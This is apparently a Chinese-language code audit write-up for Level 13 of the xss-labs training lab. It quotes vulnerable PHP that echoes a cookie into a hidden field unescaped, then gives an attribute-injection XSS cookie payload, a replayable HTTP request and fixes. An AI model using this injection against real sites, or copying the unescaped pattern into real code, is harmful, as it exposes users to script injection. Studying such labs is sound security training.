xss-labs Level13 代码审计报告
目标文件:
level13.php| 漏洞类型: 反射型 XSS —— Cookie 值注入隐藏字段 | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径: 伪造Cookie: user=...→<input name="t_cook" value="...">属性注入
一、漏洞代码定位
level13.php 第 16-28 行:
setcookie("user", "call me maybe?", time()+3600); // L16 服务端种下 user cookie
ini_set("display_errors", 0);
$str = $_GET["keyword"]; // L18
$str00 = $_GET["t_sort"]; // L19
$str11 = $_COOKIE["user"]; // L20 从 Cookie 取数
$str22 = str_replace(">", "", $str11); // L21 删除 >
$str33 = str_replace("<", "", $str22); // L22 删除 <
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> // L27 已转义(安全)
<input name="t_cook" value="'.$str33.'" type="hidden"> // L28 危险:Cookie 未转义
</form>
</center>';
漏洞点: L28。$_COOKIE["user"] 只删除了 </>,未转义引号即拼入隐藏字段 value。Cookie 完全可由客户端任意伪造,与服务端种下的默认值无关。
二、漏洞原理
- 服务端虽
setcookie种了默认值,但 Cookie 是客户端存储,客户端可以改、删、伪造。攻击者重放时直接带一个恶意usercookie 即可。 - 隐藏字段 +
type="text"覆盖 hidden +onfocus/autofocus触发,同 Level10/11/12 技巧。 - 对
t_sort转义、对 Cookie 漏转义,依旧是"外部输入处理不一致"。
三、利用方式与 Yakit 可重放数据包
Cookie Payload(URL 解码后):
Cookie: user=" type="text" onfocus=alert(1) autofocus="
渲染结果:
<input name="t_cook" value="" type="text" onfocus=alert(1) autofocus="" type="hidden">
Yakit 可重放原始请求(关键在 Cookie 头):
GET /level13.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Cookie: user=" type="text" onfocus=alert(1) autofocus="
Accept: text/html
Connection: close
触发方式: 输入框被覆盖为 type=text 并 autofocus,onfocus=alert(1) 触发 → 命中通关逻辑跳转 level14。
若 Cookie 中空格等字符在实现中不友好,可用 tab 分隔属性变体(注:本关
str_replace(" "," ")未启用,空格可用;若环境对 Cookie 值有约束,改用%09/分隔符变体并实测)。
四、修复建议
// Cookie 进入 HTML 前必须编码;更优:不要回显 Cookie 内容
$user = isset($_COOKIE["user"]) ? $_COOKIE["user"] : "";
$safe = htmlspecialchars($user, ENT_QUOTES, 'UTF-8');
echo '<input name="t_cook" value="'.$safe.'" type="hidden">';
要点:
- Cookie 不可信任,等同外部输入,进入 HTML 前统一编码。
- 不要在页面里回显 Cookie 原始值;隐藏字段用服务端数据驱动。
- 设置 Cookie 时给
HttpOnly/Secure/SameSite属性(本关 cookie 无任何安全属性,即便不用于 XSS 也是会话安全缺口)。
五、备注
- Level11/12/13 是一组: 分别从 Referer / User-Agent / Cookie 三类"头级"输入反射,漏洞形态与修复方式完全一致,建议统一处置。
- 审计清单提醒: 凡
$_SERVER、$_COOKIE、$_GET、$_POST等超全局变量被 echo 的,都要逐点确认是否编码。
正文完